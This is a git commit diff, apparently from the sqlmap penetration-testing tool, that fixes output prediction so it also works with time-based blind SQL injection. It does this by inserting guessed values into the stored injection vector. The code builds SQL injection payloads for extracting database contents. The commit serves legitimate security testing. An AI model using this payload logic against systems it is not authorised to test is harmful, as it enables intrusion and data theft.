bug fix to make --predict-output work also with time-based technique

bdamele · bdamele · commit 35aa785870d3 · 2013-02-15T16:25:33.000Z
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
@@ -483,7 +483,13 @@ def blindThread():
                     if commonValue is not None:
                         # One-shot query containing equals commonValue
                         testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
-                        query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
+
+                        if timeBasedCompare:
+                            query = kb.injection.data[kb.technique].vector.replace("[RANDNUM]", testValue)
+                            query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
+                        else:
+                            query = agent.prefixQuery(safeStringFormat("AND (%s)=%s", (expressionUnescaped, testValue)))
+
                         query = agent.suffixQuery(query)
                         result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                         incrementCounter(kb.technique)
@@ -504,7 +510,13 @@ def blindThread():
                         # Substring-query containing equals commonPattern
                         subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                         testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
-                        query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
+
+                        if timeBasedCompare:
+                            query = kb.injection.data[kb.technique].vector.replace("[RANDNUM]", testValue)
+                            query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
+                        else:
+                            query = agent.prefixQuery(safeStringFormat("AND (%s)=%s", (subquery, testValue)))
+
                         query = agent.suffixQuery(query)
                         result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                         incrementCounter(kb.technique)
